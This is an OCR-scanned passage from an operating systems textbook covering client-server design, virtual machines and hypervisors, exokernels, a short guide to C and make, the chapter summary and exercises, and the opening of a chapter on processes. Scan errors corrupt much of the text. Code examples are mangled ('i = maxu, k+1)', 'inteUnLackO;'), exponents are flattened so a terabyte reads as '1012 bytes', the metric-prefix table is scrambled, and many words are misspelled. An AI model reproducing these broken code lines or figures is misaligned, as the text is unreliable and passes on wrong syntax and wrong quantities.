Communication between clients and servers is often by message pa$sing. To 
obtain a service, a client process constructs a message saying what it wants and 
sends it to the appropriate service. The service then does the work and sends back 
the answer. If the client and server run on the same machine, certain optimiza
tions are possible, but conceptually, we are talking about message passing here. 

An obvious generalization of this idea is to have the clients and servers run on 
different computers, connected by a local or wide-area network, as depicted in 
Fig. 1-27. Since clients communicate with servers by sending messages, the cli
ents need not know whether the messages are handled locally on their Own ma
chines, or whether they are sent across a network to servers on a remote machine. 
As far as the client is concerned, the same thing happens in both cases: requests 
are sent and replies come back. Thus the client-server model is an abstraction that 
can be used for a single machine or for a network of machines. 

Increasingly many systems involve users at their home pes as clients and 
large machines elsewhere running as servers. In fact, much of the Web operates 
this way. A PC sends a request for a Web page to the server and the Web page 
comes back. This is a typical use of the client-server model in a network. 

1.7.5 Virtnal Machines 

The initial releases of OS/360 were strictly batch systems. Nevertheless, many 
360 users wanted to be able to work interactively at a terminal, so various groups, 
both inside and outside IBM, decided to write timesharing systems for it. The 
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Figure 1·27. The client-server model over a network. 

official IBM timesharing system, TSS1360, was delivered late, and when it finally 
arrived it was so big and slow that few sites converted to it It. �as eventually 
abandoned after its development had consumed some $50 mIllIon (Graham, 
1 970). But a group at IBM's Scientific Center in Cambridge, Massachusetts, pro
duced a radically different system that IBM eventually accepted as a product. . A 
linear descendant of it, called z1VM, is noW widely used on IBM's current mam
frames, the zSeries, which are heavily used in large corporate data centers, fo� ex
ample, as e-commerce servers that handle hundreds or thousands of transactions 
per second and use databases whose sizes run to millions of gigabytes. 

VMl370 

This system, originally called CP/CMS and later renamed VM/370 (Seawright 

and MacKinnon, 1979), was based on an astute observatIOn: a tlmeshanng system 

provides (1) multiprogramming and (2) an extended machine with a more con

venient interface than the bare hardware. The essence of VM/370 is to completely 
separate these two functions. 

The heart of the system, known as the virtual machine monitor, runs on the 
bare hardware and does the multiprogramming, providing not one, but several vir
tual machines to the next layer up, as shown in Fig. 1 -28. However, unlike all 
other operating systems, these virtual machines are not extended machines, with 
files and other nice features. Instead, they are exact copies of the bare hardware, 
including kernelluser mode, 1/0, interrupts, and everything else the real machine 
has. 

Because each virtual machine is identical to the true hardware, each one can 
run any operating system that will run directly on the bare hardware. Different 
virtual machines can, and frequently do, run different operating systems. On the 
original VM/370 system, some ran OS/360 or one of the other larg� batch or 
transaction processing operating systems, while other ones ran a s�ngle-u�er, 
interactive system called eMS (Conversational Monitor System) for mteractIve 
timesharing users. The latter was popular with programmers. 
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When a CMS program executed a system call, the call was trapped to the op
erating system in its own virtual machine, not to VM!370, just as it wOllle.!' if it 
were running on a real machine instead of a virtual one. eMS then issued the nor

mal hardware JiQ instructions for reading its virtual disk or whatever was needed 
to carry out the calL These I/O instructions were trapped by VM/370, which then 
performed them as part of its simulation of the real hardware. By completely sep
arating the functions of multiprogramming and providing an extended machine, 
each of the pieces could be much simpler, more flexible, and much easier to main
tain. 

In its modern incarnation, zlVM is usually used to run multiple complete op
erating systems rather than stripped-down single-user systems like CMS. For ex
ample, the zSeries is capable of running one or more Linux virtual machines 
along with traditional IBM operating systems. 

Virtual Machines Rediscovered 

While IBM has had a virtual machine product available for four decades, and 
a few other companies, including Sun Microsystems and Hewlett-Packard, have 
recently added virtual machine support to their high-end enterprise servers, the 
idea of virtualization has largely been ignored in the PC world until recently. But 
in the past few years, a combination of new needs, new software, and new techno
logies have combined to make it a hot topic. 

First the needs. Many companies have traditionally run their mail servers, 
Web servers, FrP servers, and other servers on separate computers, sometimes 
with different operating systems. They see virtualization as a way to run them all 
on the same machine without having a crash of one server bring down the rest. 

Virtualization is also popular in the Web hosting world. Without it, Web host
ing customers are forced to choose between shared hosting (which just gives 
them a login account on a Web server, but no control over the server software) 
and dedicated hosting (which gives them their own machine, which is very flexi
ble but not cost effective for small to medium Websites). When a Web hosting 
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company offers virtual machines for rent, a single physical machine can run many 
virtual machines, each of which appears to be a complete machine. Customers 
who rent a virtual machine can run whatever operating system and software they 
want to, but at a fraction of the cost of a dedicated server (because the same phys
ical machine supports many virtual machines at the same time). 

Another use of viltualization is for end users who want to be able to run two 
or more operating systems at the same time, say Windows and Linux, because 
some of their favorite application packages run on one and some run on the other. 
This situation is illustrated in Fig. 1-29(a), where the term "virtual machine moni
tor" has been renamed type 1 hypervisor in recent years. 

Guest os process 

(b) 

Figure 1·29. (a) A type 1 hypervisor. (b) A type 2 hyperyisor. 

Now the software. While no one disputes the attractiveness of virtual ma
chines, the problem was implementation. In order to run virtual machine software 
on a computer, its CPU must be virtualizable (Popek and Goldberg, 1974). In a 
nutshell, here is the problem. When an operating system running on a virtual ma
chine (in user mode) executes a privileged instruction), such as modifying the 
PSW or doing I/O, it is essential that the hardware trap to the virtual machine 
monitor so the instruction can be emulated in software. On some CPUs-notably 
the Pentium, its predecessors, and its clones-attempts to execute privileged in
structions in user mode are just ignored. This property made i t  impossible to have 
virtual machines on this hardware, which explains the lack of interest in the pe 
world. Of course, there were interpreters for the Pentium that ran on the Pentium, 
but with a performance loss of typically 5-lOx, they were not useful for serious 
work. 

This situation changed as a result of several academic research projects in the 
1990s, notably Disco at Stanford (Bugnion et aI., 1997), which led to commercial 
products (e.g., VMware Workstation) and a revival of interest in virtual machines. 
VMware Workstation is a type 2 hypervisor, which is shown in Fig. 1-29(b). In 
contrast to type 1 hypervisors, which run on the bare metal, type 2 hypervisors run 
as application programs on top of Windows, Linux, or some other operating sys
tem, known as the host operating system. After a type 2 hypervisor is started, it 
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reads the installation CD-ROM for the chosen guest operating system and 
installs on a virtual disk, which is just a big file in the host operating system's file 
system. 

When the guest operating system is booted, it does the same thing it does on 
the actual hardware, typically starting up some background processes and then a 
GUI. Some hypervisors translate the binary programs of the guest operating sys
tem block by block, replacing certain control instructions with hypervisor calls. 
The translated blocks are then executed and cached for subsequent use. 

A different approach to handling control instructions is to modify the operat
ing system to remove them. This approach is not true virtualization, but paravir
tualizatiofi. We will discuss virtualization in more detail in Chap. 8. 

The Java Virtual Machine 

Another area where virtual machines are used, but in a somewhat different 
way, is for running Java programs. When Sun Microsystems invented the Java 
programming language, it also invented a virtual machine (Le., a computer archi
tecture) called the JVM (Java Virtual Machine). The Java compiler produces 
code for JVM, which then typically is executed by a software JVM interpreter. 
The advantage of this approach is that the JVM code can be shipped over the In
ternet to any computer that has a JVM interpreter and run there. If the-compiler 
had produced SPARe or Pentium binary programs, for example, they could not 
have been shipped and run anywhere as easily. (Of course, Sun could have pro
duced a compiler that produced SPARe binaries and then distributed a SPARe 
interpreter, but JVM is a much simpler architecture to interpret.) Another advan
tage of using JVM is that if the interpreter is implemented properly, which is not 
completely trivial, incoming JVM programs can be checked for safety and then 
executed in a protected environment so they cannot steal data or do any damage. 

1.7.6 Exokernels 

Rather than cloning the actual machine, as is done with virtual machines an
other strategy is partitioning it, in other words, giving each user a subset of th� re
sources. Thus one virtual machine might get disk blocks 0 to 1023, the next one 
might get blocks 1024 to 2047, and so on. 

At the bottom layer, running in kernel mode, is a program called the exoker
nel (Engler et aI., 1995). Its job is to allocate resources to virtual machines and 
then check attempts to use them to make sure no machine is trying to use some
body else's resources. Each user-level virtual machine can run its own operating 
system, as on VMl370 and the Pentium virtual 8086s, except that each one is res
tricted to using only the resources it has asked for and been allocated. 

The advantage of the exokernel scheme is that it saves a layer of mapping. In 
the other designs, each virtual machine thinks it has its own disk, with blocks 
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running from 0 to some maximum, so the virtual machine monitor must maintain 
tables to remap disk addresses (and all other resources). With the exokernel, this 
remapping is not needed. The exokernel need only keep track of which virtual ma
chine has been assigned which resource. This method still has the advantage of 
separating the mUltiprogramming (in the exokernel) from the user operating sys
tem code (in user space), but with less overhead, since all the exokernel has to do 
is keep the virtual machines out of each other's hair. 

1.8 THE WORLD ACCORDING TO C 

Operating systems arc normally large C (or sometimes C++) programs con
sisting of many pieces written by many programmers. The environment used for 
developing operating systems is very different from what individuals (such as stu
dents) are used to when writing small Java programs. This section is an attempt to 
give a very brief introduction to the world of writing an operating system for 
small-time Java programmers. 

1.8.1 The C Language 

This is not a guide to C, but a short summary of some of the key differences 
between C and Java. Java is based on C, so there are many similarities between 
the two. Both are imperative languages with data types, variables, and control 
statements, for example. The primitive data types in C are integers (including 
short and long ones), characters, and floating-point numbers. Composite data 
types can be constructed using arrays, structures, and unions. The control state
ments in C are similar to those in Java, including if, switch, for, and while state
ments. Functions and parameters are roughly the same in both languages. 

One feature that C has that Java does not is explicit pointers. A pOinter is a 
variable that points to (i.e., contains the address of) a variable or data structure. 
Consider the statements 

char c1, c2, *P; 
c1 = 'x'; 
p = &c1; 
c2 = *p; 

which declare c1 and c2 to be character variables and p to be a variable that points 
to (i.e., contains the address of) a character. The first assignment stores the ASCII 
code for the character 'c' in the variable cJ. The second one assigns the address 
of cl to the pointer variable p. The third one assigns the contents of the variable 
pointed to by p to the variable c2, so after these statements are executed, c2 also 
contains the ASCII code for ' c'. In theory, pOinters are typed, so you are not sup
posed to assign the address of a floating-point number to a character pOinter, but 
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in practice compilers accept such assignments, albeit sometimes with a warning. 
Pointers are a very powerful construct, but also a great source of errors when used 
carelessly. 

Some �hings that C does not have include built-in strings, threads, packages, 
classes, obJec�s, type safety, and garbage collection. The last one is a show stop
per for operatmg systems. All storage in C is either static or explicitly allocated 
an� released by the programmer, usually with the library function maUoe and free. 
It IS

, 
t
.
he l�tter property-total programmer control over memory-along with 

expIrcit pomters that makes C attractive for writing operating systems. Operatino 
systems are basi�ally real-time systems to some extent, even general purpos: 
o�es. When an mterrupt occurs, the operating system may have only a few 
mIcroseconds to perform some action Or lose critical infonnation. Havino the oar-
bage collector kick in at an arbitrary moment is intolerable. 

.0 Q 

1.8.2 Header Files 

An operating system project generally consists of some number of directories 
each co�taining many .c files containing the code for some part of the system: 
along WIth some .h header files that contain declarations and definitions used by 
one Or more code files. Header files can also include simple macros, suell as 

#define BUFFER_SIZE 4096 

which allows the programmer to name constants, so that when BUFFER�IZE is 
used in the code, it is replaced during compilation by the number 4096. Good C 

�rogramming practice is to name every constant except 0, 1, and -1, and some
tImes even them. Macros can have parameters, such as 

#define max(a, b) (a > b ?  a : b) 

which allows the programmer to write 

i = maxu, k+1) 

and get 

i = U > k+1 ? j : k+1)  

to store the larger o f  j and k+ 1 i n  i ,  Headers can also contain conditional compi
lation, for example 

#ifdef PENTIUM 
inteUnLackO; 
#endif 

which compiles into a call to the function inteLincack if the macro PENTIUM is 
defined and nothing otherwise. Conditional compilation is heavily used to isolate 
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architecture-dependent code so that certain code is inserted only when the system 
is compiled on the Pentium, other code is inserted only when the system is com
piled on a SPARe, and so on. A .c file can bodily include zero or mOre header 
files using the #include directive. There are also many header files that are com
mon to nearly every .c and are stored in a central directory_ 

1.8.3 Large Programming Projects 

To build the operating system, each .c is compiled into an object file by the C 
compiler. Object files, which have the suffix .0, contain binary instructio.ns for �he 
target machine. They wi1l 1ater be directly executed by the CPU. There IS nothmg 
like Java byte code in the C world. 

The first pass of the C compiler is called the C preprocessor. As it reads 
each .c file, every time it hits a #include directive, it goes and gets the header file 
named in it and processes it, expanding macros, handling conditional compilation 
(and certain other things) and passing the results to the next pass of the compiler 
as if they were physically included. 

Since operating systems are very large (five million lines of code is not un
usual), having to recompile the entire thing every time one file is changed would 
be unbearable. On the other hand, changing a key header file that is included in 
thousands of other files does require recompiling those files. Keeping track of 
which object files depend on which header files is completely unmanageable 
without help. 

Fortunately, computers are very good at precisely this sort of thing. On UNIX 
systems, there is a program called make (with numerous variants such as gmake, 
pmake, etc.) that reads the Makefile, which tells it which files are dependent on 
which other files. What make does is see which object files are needed to build the 
operating system binary needed right now and for each one, check to see if any of 
the files it depends on (the code and headers) have been modified subsequent to 
the last time the object file was created. If so, that object file has to be recom
piled. When make has determined which .C files have to recompiled, it invokes 
the C compiler to recompile them, thus reducing the number of compilations to 
the bare minimum. In large projects, creating the Makefile is error prone, so there 
are tools that do it automatically. 

Once all the .0 files are ready, they are passed to a program called the linker 
to combine all of them into a single executable binary file. Any library functions 
called are also included at this point, interfunction references are resolved, and 
machine address are relocated as need be. When the linker is finished, the result is 
an executable program, traditionally caned a.out on UNIX systems. The various 
components of this process are illustrated in Fig. 1-30 for a program with three C 
files and two header files. Although we have been discussing operating system 
development here, all of this applies to developing any large program. 
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defs.h mac.h 

maln.o 

libc.a }-----I 

help.c o!her.c 

EXecutable 
binary program 

Figure 1�30. The process of compiling C and header files to make an executable. 

1.8.4 The Model of Run Time 

73 

Once the operating system binary has been linked, the computer can be 
rebooted and the new operating system started. Once running, it may dynamically 
load pieces that were not statically included in the binary such as device drivers 
and file systems. At run time the operating system may consist of multiple seg
ments, for the text (the program code), the data, and the stack The text segment is 
normally immutable, not changing during execution. The data segment starts out 
at a certain size and initialized with certain values, but it can change and grow as 
need be. The stack is initially empty but grows and shrinks as functions are called 
and returned from. Often the text segment is placed near the bottom of memory, 
the data segment just above it, with the ability to grow upward, and the stack seg
ment at a high virtual address, with the ability to grow downward, but different 
systems work differently. 

In all cases, the operating system code is directly executed by the hardware, 
with no interpreter and no just-in-time compilation, as is normal with Java. 
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1.9 RESEARCH ON OPERATING SYSTEMS 

Computer science is a rapidly advancing field and it is hard to predict where it 
is going. Researchers at universities and industrial research labs are constantly 
thinking up new ideas, some of which go nowhere but some of which become the 
cornerstone of future products and have massive impact on the industry and users. 
Telling which is which turns out to be easier to do in hindsight than in real time. 
Separating the wheat from the chaff is especially difficult because it often takes 
20 to 30 years from idea to impact. 

For example, when President Eisenhower set up the Dept. of Defense's Ad
vanced Research Projects Agency (ARPA) in 1958, he was trying to keep the 
Army from killing the Navy and the Air Force over the Pentagon's research bud
get. He was not trying to invent the Internet. But one of the things ARPA did 
was fund some university research on the then-obscure concept of packet switch
ing, which led to the first experimental packet-switched network, the ARPANET. 
It went live in 1969. Before long, other ARPA-funded research networks were 
connected to the ARPANET, and the Internet was born. The Internet was then 
happily used by academic researchers for sending e-mail to each other for 20 
years. In the early 1990s, Tim Berners-Lee invented the World Wide Web at the 
CERN research lab in Geneva and Marc Andreesen wrote a graphical browser for 
it at the University of Illinois. AU of a sudden the Internet was full of chatting 
teenagers. President Eisenhower is probably rolling over in his grave. 

Research in operating systems has also led to dramatic changes in practical 
systems. As we discussed earlier, the first commercial computer systems were all 
batch systems, until MJ.T. invented interactive timesharing in the early 1960s. 
Computers were all text-based until Doug Engelbart invented the mouse and the 
graphical user interface at Stanford Research Institute in the late 1960s. \Vho 
knows what will come next? 

In this section and in comparable sections throughout the book, we will take a 
brief look at some of the research in operating systems that has taken place during 
the past 5 to 10  years, just to give a flavor of what might be on the horizon. This 
introduction is certainly not comprehensive and is based largely on papers that 
have been published in the top research journals and conferences because these 
ideas have at least survived a rigorous peer review process in order to get pub
lished. Most of the papers cited in the research sections were published by either 
ACM, the IEEE Computer Society, or USENIX and are available over the Inter
net to (student) members of these organizations. For more information about these 
organizations and their digital libraries, see 

ACM 
I EEE Computer Society 
USENIX 

http://w\'VW.acm.org 
http://www.computer.org 
http://www.usenix.org 
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Virtually �ll op.eratin.g systems researchers realize that current operating sys
tems are maSSIve, mflexIble, unreliable, insecure, and loaded with bugs, certain 
ones I?ore than others (names withheld here to protect the gUilty). Consequently, 
there IS a lot of research on how to build better operating systems. Work has 
re�ently been published about ?ew operating systems (Krieger et aI., 2006), oper
atmg . system structure (Passmo et aI., 2002), operating system correctness 
(Elphmstone et aI., 2007; Kumar and Li, 2002; and Yang et aI., 2006), operating 
sy�tem relIabIlity (SWIft et aI., 2006; and LeVasseur et aI., 2004), virtual ma
chmes (Barham et aI., 2003; Garfinkel et aI., 2003; King et aI., 2003; and Whi
taker et at, 2002), viruses and worms (Costa et al., 2005; Portokalidis et al., 2006; 
Tucek et aI.: 2007; and Vrable et aI., 2005), bugs and debugging (Chou et aI., 
2001 ;  and King et aI., 2005), hyperthreading and multithreading (Fedorava, 2005; 
and Bul�m and Pratt, 2005), and user behavior (Yu et aI., 2006), among many 
other tOpICS. 

1.10 OUTLINE OF THE REST OF THIS BOOK 

We ha�e �ow completed Our introduction and bird's-eye view of the operating 
system. It IS t�me to get down to the details. As mentioned already, from the pro
grammer's pomt of view, the primary purpose of an operatinO" system is to provide 
some key abstractions, the most important of which are proc:sses and threads ad
dress spaces, and files. AccordingJy the next three chapters are devoted to these 
critical topics. 

Chapter 2 is a?out pr?cesses and threads. It discusses their properties and 
how they Commulllcate WIth one another. It also gives a numb�r of detailed ex
amples of how interprocess communication works and how to avoid some of the 
pitfalls. 

In Ch.ap. 3 .
we wiI! stUdy address spaces and their adjunct, memory man

a�ement, III detaIl. The Important topic of virtual memory will be examined, along 
WIth closely related concepts such as paging and segmentation. �hen, in Chap. 4, we come to the all-important topic of file systems. To a 
conSIderable extent, what the user sees is largely the file system. We will look at 
both the file system interface and the file system implementation. 

.Input/Output is co.vered in Chap. 5. The concepts of device independence and 
deVIce dependence wIll be looked at Several important devices, including disks 
keyboards, and displays, will be used as examples. 

' 

Chapter 6 is about deadlocks. We briefly showed what deadlocks are in this 
chapter, but there is much more to say. Ways to prevent or avoid them are dis
cussed. 

At this poin.t we will have completed our study of the basic principles of sin
gle-CPU o?eratmg systems. However, there is more to say, especially about ad
vanced tOPICS. In Chap. 7,  we examine multimedia systems, which have a number 
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of properties and requirements that differ from conventional operating systems. 
Among other items, scheduling and the file system are affected by the nature of 
multimedia. Another advanced topic is multiple processor systems, including mul
tiprocessors, parallel computers, and distributed systems. These subjects are 
covered in Chap. 8. 

A hugely important subject is operating system security, which is covered in 
Chap 9. Among the topics discussed in this chapter are threats (e.g., viruses and 
wonns), protection mechanisms, and security models. 

Next we have some case studies of real operating systems. These are Linux 
(Chap. 10), Windows Vista (Chap. I I), and Symbian (Chap. 12). The book con
cludes with some; wisdom and thoughts about operating system design in Chap. 
13. 

1.11 METRIC UNITS 

To avoid any confusion, it is worth stating explicitly that in this book, as in 
computer science in general, metric units are used instead of traditional English 
units (the furlong-stone-fortnight system). The principal metric prefixes are listed 
in Fig. 1-31. The prefixes are typically abbreviated by their first letters, with the 
units greater than 1 capitalized. Thus a I-TB database occupies 1012 bytes of stor
age and a 100 psec (or 100 ps) clock ticks every 10-10 seconds. Since milIi and 
micro both begin with the letter "m," a choice had to be made. Normally, "m:' is 
for milli and "Il" (the Greek letter mu) is for micro. 

EXp. Explicit Prefix EXp. Explicit Prefix 

10-3 0.001 milli 10' 1,000 Ki!o 
10� 0.000001 micro 10' 1 ,000,000 Mega 
10-9 0.000000001 nano 10" 1 ,000,000,000 Giga 
10-12 0.000000000001 pico 10'2 1 ,000,000,000,000 Tera 
10·'s 0.000000000000001 femlo 10'5 1 ,000,000,000,000,000 Peta 
10-HI 0.0000000000000000001 aHe 10'8 1 ,000,000,000,000,000,000 I Exa 
10-21 0.0000000000000000000001 zepto 1021 1,000,000,000,000,000,000,000 I Zetta 
10-24 0.0000000000000000000000001 yocto iON 1 ,000,000,000,000,000,000,000,000 

Figure 1-31. The principal metric prefixes. 

It is also worth pointing out that for measuring memory sizes, in common 
industry practice, the units have slightly different meanings. There Kilo means 210 

(1024) rather than 103 (1000) because memories are always a power of two. Thus 
a I-KB memory contains 1024 bytes, not 1000 bytes. Similarly, a I-MB memory 
contains 220 (1,048,576) bytes and a I-GB memory contains 230 (1,073,741,824) 
bytes. However, a 1-Kbps communication line transmits 1000 bits per second and 
a IO-Mbps LAN runs at 10,000,000 bitslsec because these speeds are not powers 

Yotta 
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of two. Unfortunately, many people tend to mix up these two systems, especially 
for disk sizes. To avoid ambiguity, in this book, we will use the symbols KB, 
ME, and GB for 210 , 220 , and 230 bytes respectively, and the symbols Kbps, 
Mbps, and Gbps for 103 , 106 and 109 bitslsec, respectively. 

1.12 SUMMARY 

Operating systems can be viewed from two viewpoints: resource managers 
and extended machines. In the resource manager view, the operating system's job 
is to manage the different parts of the system efficiently. In the extended machine 
view, the job of the system is to provide the users with abstractions that are more 
convenient to use than the actual machine. These include processes, address 
spaces, and files. 

Operating systems have a long history, starting from the days when they 
replaced the operator, to modern mUltiprogramming systems. Highlights include 
early batch systems, multiprogramming systems, and personal computer systems. 

Since operating systems interact closely with the hardware, some knowledge 
of computer hardware is useful to understanding them. Computers are built up of 
processors, memories, and 1/0 devices. These parts are connected by buses. 

The basic concepts on which all operating systems are built are processes, 
memory management, I/O management, the file system, and security. Each of 
these will be treated in a subsequent chapter. 

The heart of any operating system is the set of system cans that it can handle. 
These tell what the operating system really does. For UNIX, we have looked at 
four groups of system calls. The first group of system calls relates to process crea
tion and termination. The second group is for reading and writing files. The third 
group is for directory management. The fourth group contains miscellaneous 
caUs. 

Operating systems can be structured in several ways. The most common ones 
are as a monolithic system, a hierarchy of layers, microkernel, client-server, virtu
al machine, or exokerneL 

PROBLEMS 

1. What are the two main functions of an operating system? 

2. What is the difference between timesharing and multiprogramming systems? 

3. On early computers, every byte of data read or written was handled by the CPU (i.e., 
there was no DMA). What implications does this have for multiprogramming? 

4. Why was timesharing not widespread on second-generation computers? 



" 

78 INTRODUCTION CHAP. I 

5. The family of computers idea was introduced in the 19603 with the IBM Systemf360 
mainframes. Is this idea now dead as a doomail or does it live on? 

6. One reason GUls were initially slow to be adopted was the cost of the hardware need
ed to support them. How much video RAlVI is needed to support a 25 line x 80 row 
character monochrome text screen? How much for a 1024 x 768 pixel 24-bit color 
bitmap? What was the cost of this RAM at 1980 prices ($5/KB)? How much is it 
now? 

7. There are several design goals in building an operating system, for example, resource 
utilization, timeliness, robustness, and so 00. Give an example of two design goals that 
may contradict one another. 

8. What is the difference between kernel and user mode? Explain how having two dis
tinct modes aids in designing an operating system. 

9. Which of the following instructions should be allowed only in kernel mode? 

(a) Disable all interrupts. 
(b) Read the time-of-day clock. 
(c) Set the time-of-day clock. 
(d) Change the memory map. 

10. Consider a system that bas two CPUs and eacb CPU has two threads (hyperthreading). 
Suppose three programs, PO, PI, and P2, are started with run 

.
times of 5, 10 and 20 

roses, respectively. How long will it take to complete tbe executIon of these programs? 
Assume that an three programs are 100% CPU bound, do not block during execution, 
and do not change CPUs once assigned. 

11. List some differences between personal computer operating systems and mainframe 
operating systems. 

12. Consider a computer system that has cache memory, main memory (RAM) and disk, 
and the operating system uses virtual memory. It takes 2 nsec to access a word from 
the cache 10 nsec to access a word from the RAM, and 10 illS to access a word from 
the disk. If the cache hit rate is 95% and maln memory hit rate (after a cache miss) is 
99%, what is the average time to access a word? 

13. When a user program makes a system call to read or write a disk file, it provides �n 
indication of which file it wants, a pointer to the data buffer, and the count. Control ls 
then transferred to the operating system, which calls the appropriate driver. Suppose 
that the driver starts the disk and terminates until an interrupt occurs. In the case of 
reading from the disk, obviously the caller will have to be blocked (because there are 
no data for it). What about the case of writing to the disk? Need the caller be block
ing awaiting completion of the disk transfer? 

14. What is a trap instruction? Explain its use in operating systems. 

15. What is the key difference between a trap and an interrupt? 

16. Why is the process table needed in a timesharing system? Is it also needed in personal 
computer systems in which only one process exists, that process taking over the entire 
machine until it is finished? 
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17. Is there any reason why you might want to mount a file system on a nonempty direc
tory? If so, what is it? 

18. What is the purpose of a system call in an operating system? 

19. For each of the following system calls, give a condition that causes it to fail: fork, 
exec, and unlink. 

20. A file whose file descriptor isfd contains the following sequence of bytes: 3, 1, 4, 1 , 5, 
9, 2, 6, 5, 3, 5. The following system calls are made: 

Iseek(fd, 3, SEEK_SET); 
read(fd, Sbutter, 4); 

where the Iseek call makes a seek to byte 3 of the file. What does bujfeJ: contain after 
the read has completed? 

21. What is the essential difference between a block special file and a character special 
file? 

22. In the example given in Fig. 1-17, the library procedure is called read and the system 
caU itself is called read. Is it essential that both of these have the same name? If not, 
which one is more important? 

23. The client -server model is popular in distributed systems. Can it also be used in a sin
gle�computer system? 

24_ To a programmer, a system call looks like any other call to a library proc�dure. Is it 
important that a programmer know which library procedures result in system calls? 
Under what circumstances and why? 

25. Figure 1-23 shows that a number of UNIX system calls have no Win32 API equiva
lents. For each of the calls listed as having no Win32 equivalent, what are the conse
quences for a programmer of converting a UNIX program to run under Windows? 

26. A portable operating system is one that can be ported from one system architecture to 
another without any modification. Explain why it is infeasible to build an operating 
system that is completely portable. Describe two high�level layers that you will have 
in designing an operating system that is highly portable. 

27. Explain how separation of policy and mechanism aids in building microkernel-based 
operating systems. 

28. Here are some questions for practicing unit conversions: 

(a) How long is a microyear in seconds? 
(b) Micrometers are often called microns. How long is a gigamicron? 
(c) How many bytes are there in a I-TB memory? 
(d) The mass of the earth is 6000 yottagrams. What is that in kilograms? 

29. Write a shell that is similar to Fig. 1-19 but contains enough code that it actually 
works so you can test it. You might also add some features such as redirection of input 
and output, pipes, and background jobs. 

30. If you have a personal UNIX-like system (Linux, MINIX, Free BSD, etc.) available 
that you can safely crash and reboot, write a shell script that attempts to create an 
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unlimited number of child processes and observe what happens. Before running the 
experiment, type sync to the shell to flush the file system buffers to disk to avoid ruin
ing the file system. Note: Do not try this on a shared system without first getting per
mission from the system administrator. The consequences will be instantly obvious so 
you are likely to be caught and sanctions may follow. 

31. Examine and try to interpret the contents of a UNIX-like or Windows directory with a 
tool like the UNIX od program or the MS-DOS DEBUG program. Hint: How you do 
this wiH depend upon what the OS allows. One trick that may work is to create a di
rectory on a floppy disk with one operating system and then read the raw disk data 
using a different operating system that allows such access. 

2 
PROCESSES AND THREADS 

We are now about to embark on a detailed study of how operating systems are 
designed and constructed. The most central concept in any operating system is the 
process: an abstraction of a running program. Everything else hinges on this con
cept, and it is important that the operating system designer (and student) have a 
thorough understanding of what a process is as early as possible. 

Processes are one of the oldest and most important abstractions that operating 
systems provide. They support the ability to have (pseudo) concurrent operation 
even when there is only one CPU available. They turn a single CPU into multiple 
virtual CPUs. Without the process abstraction, modem computing could not exist. 
In this chapter we will go into considerable detail about processes and their first 
cousins, threads. 

2.1 PROCESSES 

All modem computers often do several things at the same time. People used 
to working with personal computers may not be fully aware of this fact, so a few 
examples may make the point clearer. First consider- a Web server. Requests 
come in from all over asking for Web pages. When a request comes in, the server 
checks to see if the page needed is in the cache. If it is, it is sent back; if it is not, 
a disk request is started to fetch it. However, from the CPU's perspective, disk re
quests take eternity. While waiting for the disk request to complete, many more 
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requests may come in. If there are mUltiple disks present, some or all of them 
may be fired off to other disks long before the first request is satisfied. Clearly 
some way is needed to model and control this concurrency. Processes (and espe
cially threads) can help here. 

Now consider a user PC. When the system is booted, many processes are 
secretly started, often unknown to the user. For example, a process may be stalted 
up to wait for incoming e-�a�L An?ther proces� may ru� ?ll behalf o� the anti
virus program to check penodlcally If any new VIruS defimtIons are avallable. In 
addition, explicit user processes may be running, printing files and burning a CD
ROM all while the user is surfing the Web. All this activity has to be managed, 
and ; multiprogramming system supporting multiple processes comes in very 
handy here. 

In any multiprogramming system, the CPU switches from process to process 
quickly, running each for tens or hundreds of milliseconds. While, strictly speak
ina at any instant of time, the CPU is running only one process, in the course of 1 
set�nd, it may work on several of them, giving the illusion of parallelism. Some
times people speak of pseudoparallelism in this context, to contrast it with the 
true hardware parallelism of multiprocessor systems (which have two or more 
CPUs sharing the same physical memory). Keeping track of multiple, parallel 
activities is hard for people to do. Therefore, operating system designers over the 
years have evolved a conceptual model (sequential processes) that makes paral
lelism easier to deal with. That model, its uses, and some of its consequences form 
the subject of this chapter. 

2.1.1 The Process Model 

In this model, all the runnable software on the computer, sometimes including 
the operating system, is organized into a number of sequential processes, or just 
processes for short. A process is just an instance of an executing program, in
cluding the current values of the program counter, registers, and variables. Con
ceptually, each process has its own virtual CPU. In reality, of course, the real 
CPU switches back and forth from process to process, but to understand the sys
tem it is much easier to think about a collection of processes running in (pseudo) 
par�l1el than to try to keep track of how the CPU switches from program to pro
gram. This rapid switching back and forth is called multiprogramming, as we 
saw in Chap. 1 .  

In Fig. 2-I(a) we see a computer multiprogramming four programs in memo
ry. In Fig. 2-1(b) we see four processes, each with its own flow of control (i.e., its 
own logical program counter), and each one running independently of the other 
ones. Of course, there is only one physical program counter, so when each proc
ess runs, its logical program counter is loaded into the real program COllnter. 
When it is finished (for the time being), the physical program counter is saved in 
the process' stored logical program counter in memory. In Fig. 2-1 (c) we see that 
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viewed over a long enough time interval, all the processes have made progress, 
but at any given instant only one process is actually running. 

One program counter 

"-;",---, Process ci'-'---j switch 

(a) 

Four program counters 

(b) 

ot 
Time ____ 

(e) 

Figure 2-1. (a) Multiprogramming of four programs, (b) Conceptual model of 
four independent, sequential processes. (c) Only one program is active at once. 

In this chapter, we will assume there is only one CPU. Increasingly, however, 
that assumption is not true, since new chips are often multicore, with two, four, or 
more CPUs. We will look at multicore chips and mUltiprocessors in general in 
Chap. 8, but for the time being, it is simpler just to think of one CPU at a time. So 
when we say that a CPU can really only run one process at a time, if them are two 
cores (or CPUs) each one of them can run only one process at a time. 

With the CPU switching rapidly back and forth among the processes, the rate 
at which a process performs its computation wiD not be uniform and probably not 
even reproducible if the same processes are run again. Thus, processes must not 
be programmed with built-in assumptions about timing. Consider, for example, 
an I/O process that starts a streamer tape to restore backed-up' files, executes an 
idle loop 10,000 times to let it get up to speed, and then issues a command to read 
the first record. If the CPU decides to switch to another process during the idle 
loop, the tape process might not run again until after the first record was already 
past the read head. When a process has critical real-time requirements like this, 
that is, particular events must occur within a specified number of milliseconds, 
special measures must be taken to ensure that they do occur. Normally, however, 
most processes are not affected by the underlying multiprogramming of the CPU 
or the relative speeds of different processes. 

The difference between a process and a program is subtle, but crucial. An 
analogy may help here. Consider a culinary-minded computer scientist who is 
baking a birthday cake for his daughter. He has a birthday _ cake recipe and a 
kitchen well stocked with all the input: flour, eggs, sugar, --extract of vanilla, and 
so on. In this analogy, the recipe is the program (i.e., an algorithm expressed in 
some suitable notation), the computer scientist is the processor (CPU), and the 
cake ingredients are the input data. The process is the activity consisting of our 
baker reading the recipe, fetching the ingredients, and baking the cake. 
